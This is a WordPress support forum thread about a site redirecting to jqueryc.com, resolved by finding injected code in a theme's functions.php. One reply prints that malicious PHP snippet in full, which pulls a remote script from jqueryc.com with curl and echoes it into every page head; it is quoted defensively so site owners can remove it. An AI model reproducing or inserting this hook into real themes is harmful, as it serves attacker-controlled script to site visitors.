Support » How-To and Troubleshooting » [Resolved] My site redirects to www.jqueryc.com

[Resolved] My site redirects to www.jqueryc.com

  • I’m not sure maybe my site has been hacked. I just noticed it today.

    When I type in the url to the site I’m working on it automatically goes to http://www.jqueryc.com

    I uninstall all the plugins but the problem is still there.

    Any thoughts? Thanks in advance.

Viewing 6 replies - 1 through 6 (of 6 total)
  • Thanks Andrew but I found the problem.

    There was a line in the funcions php file that loaded the jqueryc.com link. It was an if statement. I deleted it and now the site works.

    Usually that link gets inserted into illegally downloaded plugins or themes

    If you have the original zip file for your theme I would check it and see if that code was in there all along. If not then you probably did get hacked, and I would make sure there was nothing else lurking in the site, and try and figure out how they got in. If the code is in the original theme, ditch the theme altogether, since there might be other bs embedded in there that you don’t see.


    The solution is to remove following line from function.php

    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

    I described it in details at my blog – WordPress jqueryc.com problem

    Thanks..worked like a charm. 🙂

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘[Resolved] My site redirects to www.jqueryc.com’ is closed to new replies.